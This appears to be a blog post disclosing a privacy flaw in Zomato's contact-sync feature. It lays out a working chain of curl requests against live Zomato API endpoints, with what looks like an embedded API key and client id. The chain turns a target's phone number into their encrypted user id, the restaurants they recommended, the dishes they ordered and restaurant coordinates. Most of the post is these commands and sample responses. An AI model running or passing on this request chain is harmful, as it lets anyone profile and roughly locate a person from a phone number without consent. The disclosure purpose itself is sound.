The core issue lies in a misleading design choice: The Definition of a Friend.
Press enter or click to view image in full size
In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a Unilateral model.
I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:
They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: mutual consent.
Step 1: The sync-contacts endpoint
Purpose: The attacker syncs the phone numbers they want to target.
Request:
curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/sync-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"flow_type": "revamped_flow",
"contacts_access_level": "full_access",
"contacts": [
{
"phone_numbers": ["+91 99999 99999"],
"name": "poc_contact_9999999999",
"id": "1"
}
],
"location": {
"city_id": 11111,
"place": {
"delivery_subzone_id": 11111
}
}
}'Response:
{'status': 'success', 'message': 'success'}Purpose: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the encrypted_user_id associated with that phone number.
Request:
curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/get-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"additional_filters": {},
"page_type": "contacts_management",
"removed_snippet_ids": [],
"page_index": "1",
"count": 99999,
"is_gold_mode_on": false,
"keyword": "",
"load_more": true
}'Simplified Response from get_contacts.py (the actual response is a complex structure, as Zomato uses Server Driven UI):
[
{
"name": "poc_contact_XXXXXXXXXX",
"is_zomato_user": true,
"has_recommendations": true,
"recommendations": 23,
"encrypted_owner_user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX"
},
{
"name": "poc_contact_9999999999",
"is_zomato_user": false,
"has_recommendations": false,
"recommendations": 0,
"encrypted_owner_user_id": null
}
]What is Encrypted User Id?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: https://zoma.to/u/123456
Purpose: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.
Request:
# Initial request cURL (for page 1; subsequent pages require dynamic postback_params)
curl -X POST "https://api.zomato.com/gateway/search/v1/get_listing_by_usecase" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Client-Id: zomato_android_v2" \
-H "X-Zomato-Access-Token: <Your token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"page_type": "collection_page",
"friend_recommendation_params": "{\"collection_type\": \"RECOMMENDATION\", \"owner_user_name\": \"your_owner_name_here\", \"encrypted_owner_user_id\": \"your_encrypted_owner_user_id_here\"}",
"count": 10,
"view_type": "RESTAURANT",
"additional_filters": {},
"removed_snippet_ids": [],
"page_index": "1",
"location": {
"entity_type": "subzone",
"entity_id": "9999999999",
"place_type": "DSZ",
"place_id": "9999999999"
},
"is_gold_mode_on": false,
"keyword": "",
"load_more": false
}'Simplified Response from get_contact_collection.py (Again the actual raw response has a complex structure):
{
"success": true,
"total": 10,
"restaurants": [
{
"name": "Pizza Wings",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Body Fuel Station",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Domino's Pizza",
"res_id": "XXXXXXXXX",
"chain_id": "143",
"displayed_id": "XXXXXXXXX"
}, ...
],
<redacted for brevity>
You will notice the following things in the response:
For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.
Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…
For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.
By now, we have a list of the restaurant our target has at least ordered from once.
Purpose: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.
Request:
curl -X POST "https://api.zomato.com/gw/menu/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Access Token>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d "resID=<res_id>&mode=delivery&tabId=menu"Simplified Response From get_menu.py (Again, the actual structure is very complex):
[
{
"user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX",
"ordered_items": [
{
"name": "Peri Peri Pizza",
"price": 289,
"image": "https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png"
},
{
"name": "Mexican Pizza",
"price": 269,
"image": "https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png"
},
{
"name": "Jalapeno Garlic Bread",
"price": 239,
"image": "https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png"
},
{
"name": "Farmer Choice Pizza",
"price": 299,
"image": "https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png"
}
]
},
{
...
}
]We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the bare minimum price before discounts.
Purpose: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.
Join Medium for free to get updates from this writer.
Request:
curl -X POST "https://api.zomato.com/gw/menu/res_info/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-H "X-Zomato-Is-Metric: true" \
-H "X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb" \
-d '{"should_fetch_res_info_from_agg": true}'Simplified Response from get_res_meta.py:
{
"latitude": 30.XXXXXXXXXXX,
"longitude": 76.XXXXXXXXXXX,
"success": true
}We will repeat this process for each restaurant for a user, then we will have the following details:
So, using series of “intended” Zomato features, I was able to get this data from just a phone number !
Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.